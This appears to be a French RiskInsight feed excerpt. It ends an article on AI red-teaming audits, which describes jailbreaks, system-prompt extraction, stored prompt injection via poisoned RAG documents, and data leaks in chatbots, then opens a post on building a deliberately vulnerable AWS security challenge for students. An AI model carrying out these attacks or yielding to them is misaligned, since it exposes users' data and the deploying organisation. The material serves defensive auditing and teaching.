<p style="text-align: justify;">Techniquement, chacun des composants est protégé par la mise en place de mesures de sécurité définies par les processus d’Intégration de la Sécurité dans les Projets. Il est ensuite intéressant, d’évaluer en pratique le niveau de sécurité effectif lors d’un audit <em>Redteam</em> IA.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Le <em>RedTeaming </em>IA, l’art de trouver les failles des systèmes d’IA</h2>
<p> </p>
<p style="text-align: justify;">Les audits de <em>RedTeaming</em> IA sont similaires aux audits de sécurité classiques. Néanmoins, afin de répondre nouveaux enjeux de la GenAI, ils s’appuient sur une méthodologie, des référentiels et un outillage spécifique. En effet, lors d’un audit <em>RedTeam IA</em>, il s’agit de chercher à contourner le système d’IA générative en réalisant des attaques sur ses composants ou en écrivant des instructions malveillantes en langage naturel. Cette deuxième typologie d’attaque s’appelle le <em>prompt injection</em>, l’art de formuler des requêtes malveillantes à un système d’IA pour en détourner ses fonctionnalités.</p>
<p style="text-align: justify;">Lors d’un audit <em>RedTeam</em> IA, lors des tests d&rsquo;attaques en langage naturel (propre à l’IA), deux typologies de tests sont réalisées en parallèle :</p>
<ul>
<li>Des tests manuels. Ils permettent une phase de reconnaissance en s’appuyant sur des bibliothèques de questions malveillantes consolidées en amont.</li>
<li>Des tests outillés. Il s’agit généralement d’une IA générative qui attaque le système d’IA générative cible en générant une série de prompts malveillants et en analysant automatiquement la cohérence de la réponse du chatbot. Ils permettent de tester la robustesse du système d’IA sur un grand nombre de scénarios.</li>
</ul>
<p style="text-align: justify;">Ces tests permettent généralement d’identifier plusieurs vulnérabilités et de mettre en lumière des risques de cybersécurité souvent sous-estimés.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Quelles sont les vulnérabilités les plus rencontrées chez nos clients ?</h2>
<p> </p>
<p style="text-align: justify;"> Nous avons couvert trois grandes catégories de déploiement chez nos clients :</p>
<ul>
<li>Chatbot simple : ces solutions servent principalement à la redirection et au triage des demandes utilisateurs ;</li>
<li>Chatbot en RAG (<em>Retrieval-Augmented Generation</em>): ces systèmes plus sophistiqués consultent des bases documentaires internes pour enrichir leurs réponses ;</li>
<li>Chatbot agentique : ces solutions avancées peuvent interagir avec d&rsquo;autres systèmes et exécuter des actions.</li>
</ul>
<p style="text-align: justify;">La consolidation des vulnérabilités identifiées lors de nos interventions ainsi que leur criticité relative nous permettent de définir le classement suivant :</p>
<p><img loading="lazy" decoding="async" class="wp-image-25792 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/04/image.jpg" alt="Vulnerabilités LLM &amp; Chatbots Notre Top 6 2025" width="936" height="537" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/04/image.jpg 936w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/04/image-333x191.jpg 333w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/04/image-68x39.jpg 68w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/04/image-120x70.jpg 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/04/image-768x441.jpg 768w" sizes="auto, (max-width: 936px) 100vw, 936px" /></p>
<p> </p>
<h3><strong>Détournement du modèle et génération de contenu illégitime </strong></h3>
<p style="text-align: justify;">Il s’agit du contournement des garde-fous techniques mis en place dans le développement du chatbot afin de générer du contenu offensant, malveillant, ou inadapté. C’est ainsi la crédibilité et la réputation de l’entreprise qui risquent d’être impactées puisqu’elle est responsable de la production de contenu réalisée par son chatbot.</p>
<p style="text-align: justify;">À noter que le contournement des mécanismes de sécurité du modèle cible peut aller jusqu’à un débridage complet. On parle alors de <em>jailbreak</em> du modèle, ce qui le fait basculer dans un mode sans restriction. Ce dernier peut alors produire du contenu hors du cadre souhaité par l’entreprise.</p>
<h3><strong>Accès au preprompt</strong></h3>
<p style="text-align: justify;">On entend par <em>preprompt</em> l’ensemble des instructions qui alimentent le modèle et le façonne pour l‘utilisation souhaitée. Tous les modèles ont pour consigne de ne pas divulguer ce <em>preprompt</em> sous quelle que forme que ce soit.</p>
<p style="text-align: justify;">Un attaquant parvenant à accéder à ce <em>preprompt</em> voit son attaque facilitée car cela lui permet de cartographier les capacités du modèle du chatbot. Cette cartographie est notamment utile pour les systèmes complexes interfacés avec des APIs ou autres systèmes externes. De plus, l’accès à ce <em>preprompt</em> par un attaquant lui permet de visualiser la manière dont les filtres et limitations du chatbot ont été mis en place, ce qui lui permet de les contourner plus aisément.</p>
<h3><strong>Intégration web et intégration des tiers</strong></h3>
<p style="text-align: justify;">Les solutions GenAI sont souvent présentées aux utilisateurs au travers d’une interface web. Les activités de <em>RedTeaming</em> AI mettent ainsi régulièrement en lumière des problématiques classiques des applications web, notamment le cloisonnement des sessions utilisateurs ou des attaques visant à les piéger.</p>
<p style="text-align: justify;">Dans le cas de l’agentique, ces vulnérabilités peuvent également affecter des composants de tiers interconnectés au système GenAI.</p>
<h3><strong>Fuites de données sensibles</strong></h3>
<p style="text-align: justify;">Si les données alimentant la base de connaissance interne d’un chatbot RAG sont insuffisamment consolidées (sélection, gestion, anonymisation, &#8230;), les modèles sont susceptibles de révéler involontairement des informations sensibles ou confidentielles.</p>
<p style="text-align: justify;">Cette problématique est connexe aux aspects de gestion des droits, de classification de la donnée, et de durcissement des pipelines de préparation et de transit des données (MLOps).</p>
<h3><strong>Injection stockée (<em>stored injection</em>)</strong></h3>
<p style="text-align: justify;">En cas d’injection stockée, l’attaquant est en mesure d’alimenter la base de connaissance d’un modèle en y incluant des instructions malveillantes (via un document piégé). Celle-ci servant aux réponses du chatbot, tout utilisateur interagissant avec le modèle et sollicitant ledit document verra sa session compromise (fuite des données d’historique de conversation des utilisateurs, redirections malveillantes, participation à une attaque d’ingénierie sociale, …).</p>
<p style="text-align: justify;">Les documents piégés pourront être particulièrement compliqués à identifier, notamment dans le cas de bases de connaissances larges ou peu maitrisées. Cette attaque est ainsi persistante et furtive.</p>
<h3><strong>Mention honorable : parasitisme et explosion des coûts</strong></h3>
<p style="text-align: justify;">On parle de parasitisme lorsqu’un utilisateur est en mesure de débrider le chatbot afin d’utiliser pleinement les capacités du modèle, et ce gratuitement. Couplé à une absence de restriction volumétrique, un utilisateur peut réaliser un nombre prohibitif de requêtes, sans lien avec le cas d’usage initial et néanmoins facturés.</p>
<p style="text-align: justify;">De manière générale, certaines des vulnérabilités mentionnées concernent des risques relativement mineurs, dont l’impact métier pour les systèmes d’information (SI) est limité. Néanmoins, avec les avancées des technologies IA, ces vulnérabilités prennent une autre dimension, notamment dans les cas suivants :</p>
<ul>
<li>Les solutions agentiques ayant accès à des systèmes sensibles</li>
<li>Les applications RAG impliquant des données confidentielles</li>
<li>Les systèmes pour lesquels les utilisateurs ont la main sur les documents de la base de connaissance, ouvrant la porte aux injections stockées</li>
</ul>
<p style="text-align: justify;"><strong>Les systèmes GenAI testés sont débridables en très large majorité, bien que l’exercice se complexifie avec le temps. Cette incapacité persistante des modèles à mettre en place des restrictions efficaces incite l’écosystème IA à se tourner vers des briques de sécurité externes. </strong></p>
<p style="text-align: justify;"><strong> </strong></p>
<h2 style="text-align: justify;">Quelles nouvelles surfaces d&rsquo;attaque ?</h2>
<p> </p>
<p style="text-align: justify;">L’intégration croissante de l’IA dans des secteurs d’activité sensibles (santé, finance, défense, &#8230;) augmente les surfaces d’attaque des systèmes critiques, ce qui renforce le besoin de filtrage et d’anonymisation des données sensibles. Là où les applications IA étaient jusqu’à présent très cloisonnées, l’IA agentique met fin à ce cloisonnement puisqu’elle déploie une capacité d’interconnexion, ce qui ouvre la porte à de possibles propagations de menaces au sein des SI.</p>
<p style="text-align: justify;">La baisse du niveau technique requis pour créer un système d’IA, notamment au travers de l’usage des plateformes SaaS et services <em>Low/no code</em>, en facilite l’usage tant pour des utilisateurs légitimes que pour des attaquants.</p>
<p style="text-align: justify;">Enfin, la généralisation des « copilotes » directement sur les postes des collaborateurs se traduit par un usage croissant de composants de plus en plus autonomes qui agissent à la place de et avec les privilèges d’un humain, accélérant l’apparition de périmètres IA non-maitrisés ou <em>Shadow IT IA</em>.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Vers des systèmes de plus en plus difficiles à maitriser</h2>
<p> </p>
<p style="text-align: justify;">Bien qu’imitant l’intelligence humaine en apparence, les modèles de GenAI (LLM, pour <em>Large Langage Model</em>) ont pour fonction unique d’imiter le langage et agissent finalement bien souvent comme des systèmes d’auto-complétion textuelle hautement performants. Ces systèmes ne sont nativement pas entrainés pour raisonner et leur utilisation se heurte à un fonctionnement en « boite noire ». Il est en effet complexe d’expliquer de manière fiable leur raisonnement, ce qui se traduit régulièrement par des hallucinations dans leurs productions, ou des contresens logiques. En pratique, il est également impossible de prouver l’absence de « porte dérobées » (<em>backdoor</em>) dans ces modèles, limitant encore davantage notre confiance dans ces systèmes.</p>
<p style="text-align: justify;">L’émergence de l’IA agentique complexifie la situation. En interconnectant des systèmes au fonctionnement opaque, elle rend l’ensemble du processus de raisonnement généralement invérifiable et inexplicable. Les cas de modèle entrainant, auditant ou attaquant d’autres modèles se généralisent, ce qui induit une problématique de confiance majeure lorsqu’ils sont intégrés aux systèmes d’information des entreprises.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Quelles perspectives pour la suite ?</h2>
<p> </p>
<p style="text-align: justify;">Les audits de <em>RedTeaming</em> IA menés sur des systèmes d’IA générative révèlent une réalité contrastée. D’un côté, l’innovation est fulgurante, portée par des cas d’usage de plus en plus puissants et intégrés. De l’autre, les vulnérabilités identifiées démontrent que ces systèmes, souvent perçus comme intelligents, restent largement manipulables, instables et peu explicables.</p>
<p style="text-align: justify;">Ce constat s’inscrit dans un contexte plus large de démocratisation des outils IA couplée à leur autonomie croissante. L’IA agentique, en particulier, fait apparaître des chaînes d’action difficilement traçables, agissant avec des privilèges humains. Dans un tel paysage, le risque n’est plus uniquement technique : il devient aussi organisationnel et stratégique, impliquant une gouvernance et une supervision continue de ses usages.</p>
<p style="text-align: justify;">Face à ces défis, le <em>RedTeaming</em> IA s’impose comme un levier essentiel pour anticiper les déviances possibles, en adoptant le point de vue de l’attaquant pour mieux prévenir les dérives. Il s’agit de tester les limites d’un système pour concevoir des mécanismes de protection robustes, pérennes, et alignés avec les nouveaux usages. C’est à ce prix que l’IA générative pourra continuer à évoluer dans un cadre de confiance, au service des utilisateurs comme des organisations.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/04/red-teaming-ia-etat-des-lieux-des-risques-ia-en-2025/">Red Teaming IA : État des lieux des risques IA en 2025  </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/04/red-teaming-ia-etat-des-lieux-des-risques-ia-en-2025/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Comment construire un coding game Cloud public étape par étape ? </title>
		<link>https://www.riskinsight-wavestone.com/2024/06/comment-construire-un-coding-game-cloud-public-etape-par-etape/</link>
					<comments>https://www.riskinsight-wavestone.com/2024/06/comment-construire-un-coding-game-cloud-public-etape-par-etape/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud PETITCOL]]></dc:creator>
		<pubDate>Thu, 13 Jun 2024 12:38:59 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[students]]></category>
		<category><![CDATA[wavegame]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=23285</guid>

					<description><![CDATA[<p>Etape 0 : contexte et objectifs  Le Wavegame est un challenge inter-école créé en 2019 qui vise à promouvoir l’expertise cybersécurité et le métier du conseil. La compétition comporte deux volets, le premier étant réservé aux étudiants en commerce et...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/06/comment-construire-un-coding-game-cloud-public-etape-par-etape/">Comment construire un coding game Cloud public étape par étape ? </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2><b><span data-contrast="none">Etape 0 :</span></b><span data-contrast="none"> contexte et objectifs</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:360}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="none">Le Wavegame est un challenge inter-école créé en 2019 qui vise à promouvoir l’expertise cybersécurité et le métier du conseil. La compétition comporte deux volets, le premier étant réservé aux étudiants en commerce et le second aux étudiants en informatique. La partie technique consiste en 2 exercices de qualification et un événement final. Cet article aborde le deuxième exercice où, dans sa saison 2023, 33 équipes se sont affrontées autour de la sécurisation d’une infrastructure Cloud AWS.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Sur fond d’une intrigue futuriste, les étudiants devenus consultants ont été mandatés par France Fusion, une entreprise chargée d’exploiter les premières usines à fusion nucléaire du pays. France Fusion souhaitait mettre au point une plateforme de supervision dans le Cloud. Pour ce faire, les données d’équipements industriels collectées, relevant de la propriété intellectuelle de France Fusion, devaient être analysées au travers d’une base de données ElasticSearch. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Démarré sous la forme d’un Proof of Concept (PoC) en marge des équipes sécurité, une équipe de développeurs est parvenue à déployer une architecture fonctionnelle sur AWS. Les étudiants sont alors amenés à sécuriser l’infrastructure en respectant les politiques Cloud public de France Fusion. Le défi technique était de taille : déployer une infrastructure vulnérable en libre-service sur 33 comptes AWS. Il s&rsquo;agissait également d&rsquo;accorder aux étudiants un accès administrateur et les autorisations nécessaires pour effectuer des modifications directement depuis la console AWS, le tout avec un budget limité compte tenu du nombre de participants. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Dans cet article, nous allons vous partager la recette qui a permis de faire de ce défi une réalité.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<h2><b><span data-contrast="none">Etape 1 :</span></b><span data-contrast="none"> Mettre sur le papier une architecture portant une dimension pédagogique</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:851,&quot;335559738&quot;:240,&quot;335559739&quot;:360,&quot;335559991&quot;:851}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="none">Avant de nous lancer dans le développement du </span><i><span data-contrast="none">coding game</span></i><span data-contrast="none">, nous avons pris en compte 4 contraintes : </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<ul>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="1"><b><span data-contrast="none">La population cible</span></b><span data-contrast="none"> : s’agissant d’étudiants, il est primordial de tenir compte de l’hétérogénéité en matière de connaissances Cloud. Par conséquent, nous nous sommes concentrés sur l&rsquo;utilisation des services essentiels AWS (e.g., S3, EC2, Lambda), car ce sont des ressources bien documentées et parce que les étudiants sont susceptibles de les avoir abordés en classe ou dans le cadre de projets personnels.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li><b><span data-contrast="none">Le thème :</span></b><span data-contrast="none"> c’est un élément crucial pour immerger les étudiants dans un contexte de mission client. Nous avons donc cherché à créer une architecture aussi réaliste que possible. Ainsi, le choix de déployer une suite ELK (Elasticsearch, Logstash, Kibana) sur une instance EC2 nous a paru pertinent pour un PoC lié à de la supervision.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="3" data-aria-level="1"><b><span data-contrast="none">Les coûts :</span></b><span data-contrast="none"> sachant que l’infrastructure doit être accessible par des étudiants pendant 2 semaines et qu’elle doit être répliquée sur 33 comptes AWS, nous avions tout intérêt à optimiser les coûts. Pour y parvenir, nous avons utilisé le calculateur de tarification AWS pour estimer les coûts, opté pour une région à faible coût et construit l&rsquo;infrastructure autour de services « paiement à l’utilisation » tels que les fonctions Lambda.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li><b><span data-contrast="none">Les échéances : </span></b><span data-contrast="none">pour faire face à un calendrier rapproché, nous avons défini des objectifs et des jalons avec une marge suffisante pour surmonter les éventuelles contraintes techniques. Les principales étapes du projet sont le développement, les tests, la création de comptes et le déploiement.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
</ul>
<p style="text-align: justify;"><span data-contrast="none">Le schéma d’architecture « vulnérable » ci-dessous reflète ces 4 contraintes (</span><i><span data-contrast="none">Figure 1</span></i><span data-contrast="none">). L’équipement industriel est simulé par une fonction Lambda (Datalake) qui va générer des logs et les envoyer dans un </span><i><span data-contrast="none">bucket</span></i><span data-contrast="none"> S3 (Datalake). Une seconde fonction Lambda (ELK) est alors déclenchée par une notification S3. Elle va récupérer le fichier de logs et l’envoyer dans la base ElasticSearch (image Docker dans une instance EC2). Enfin, l’interface Kibana est accessible depuis Internet pour l’analyse des logs. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:0}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-23292 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/1.jpg" alt="" width="1477" height="608" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/1.jpg 1477w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/1-437x180.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/1-71x29.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/1-768x316.jpg 768w" sizes="auto, (max-width: 1477px) 100vw, 1477px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure </span></i><i><span data-contrast="none">1</span></i><i><span data-contrast="none"> :</span></i><i><span data-contrast="none"> schéma d’architecture initiale du Wavegame 2023</span></i><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:851,&quot;335559739&quot;:120,&quot;335559991&quot;:851,&quot;469777462&quot;:[851],&quot;469777927&quot;:[0],&quot;469777928&quot;:[1]}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<h2><b><span data-contrast="none">Etape 2 :</span></b><span data-contrast="none"> Concevoir une architecture sécurisée basée sur des politiques sécurité du Cloud public</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:360}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="none">Maintenant que nous avons notre scénario initial, il s’agit de concevoir des politiques du Cloud public qui vont fixer les exigences sécurité et les critères d’évaluation. Pour cela, nous avons adapté des bonnes pratiques de sécurité mises en œuvre chez nos clients dont voici un extrait :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<ul>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="5" data-aria-level="1"><span data-contrast="none">AWS-01 : Toutes les ressources AWS doivent utiliser des rôles IAM spécifiques à leurs besoins et respectant le principe du moindre privilège.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li><span data-contrast="none">AWS-02 : Toutes les ressources AWS doivent être connectées et/ou attachées à un réseau privé (VPC).</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="7" data-aria-level="1"><span data-contrast="none">AWS-03 : Les instances EC2 ne doivent pas être accessibles au public via Internet.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li><span data-contrast="none">AWS-04 : Tous les logs d&rsquo;infrastructure générés par les services AWS doivent être envoyés à CloudWatch.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li><span data-contrast="none">AWS-05 : Le volume Amazon EBS racine doit être chiffré sur toutes les instances EC2.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="10" data-aria-level="1"><span data-contrast="none">AWS-06 : les données dans le </span><i><span data-contrast="none">bucket</span></i><span data-contrast="none"> S3 doivent être chiffrées.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
</ul>
<p style="text-align: justify;"><span data-contrast="none">À partir des politiques du Cloud public, nous avons élaboré l&rsquo;architecture sécurisée suivante (</span><i><span data-contrast="none">Figure 2</span></i><span data-contrast="none">) :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-23294 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/2.jpg" alt="" width="1366" height="695" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/2.jpg 1366w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/2-375x191.jpg 375w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/2-71x36.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/2-768x391.jpg 768w" sizes="auto, (max-width: 1366px) 100vw, 1366px" /></span></p>
<p style="text-align: center;"><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span><i><span data-contrast="none">Figure </span></i><i><span data-contrast="none">2</span></i><i><span data-contrast="none">:</span></i><i><span data-contrast="none"> schéma d’architecture cible du Wavegame 2023</span></i><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:851,&quot;335559739&quot;:120,&quot;335559991&quot;:851,&quot;469777462&quot;:[851],&quot;469777927&quot;:[0],&quot;469777928&quot;:[1]}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">En résumé, l’ensemble des ressources Calcul sont positionnées dans un sous-réseau privé, le </span><i><span data-contrast="none">bucket</span></i><span data-contrast="none"> S3 est accédé via un point de terminaison VPC, la plateforme de supervision ELK est accédée via une machine virtuelle de rebond. Les services </span><i><span data-contrast="none">Cloudwatch</span></i><span data-contrast="none"> et </span><i><span data-contrast="none">CloudTrail</span></i><span data-contrast="none"> sont activés pour le monitoring et la supervision. Des </span><i><span data-contrast="none">security groups</span></i><span data-contrast="none"> sont attachés aux ressources pour n’autoriser que les communications entrantes strictement nécessaires.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p> </p>
<h2><b><span data-contrast="none">Etape 3 :</span></b><span data-contrast="none"> passer du design au développement en Terraform</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:360}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="none">Pour construire le </span><i><span data-contrast="none">coding game</span></i><span data-contrast="none">, nous avons créé et maintenu 2 architectures distinctes, représentées par 2 branches distinctes dans Github. La première étant l&rsquo;architecture vulnérable qui sera déployée initialement, et la seconde étant la solution qui sert de garantie de faisabilité. Cette « </span><i><span data-contrast="none">garantie de faisabilité</span></i><span data-contrast="none"> » signifie que 3 points obligatoires sont remplis :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<ul>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="11" data-aria-level="1"><span data-contrast="none">Les permissions IAM doivent être suffisantes pour permettre au système de fonctionner correctement.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li><span data-contrast="none">La configuration finale de l&rsquo;infrastructure doit prendre en compte les cycles de vie des objets et leurs interactions.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="13" data-aria-level="1"><span data-contrast="none">L&rsquo;expertise requise pour compléter le </span><i><span data-contrast="none">coding game</span></i><span data-contrast="none"> doit être adaptée à la montée en compétence des étudiants sur une période de 2 semaines.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
</ul>
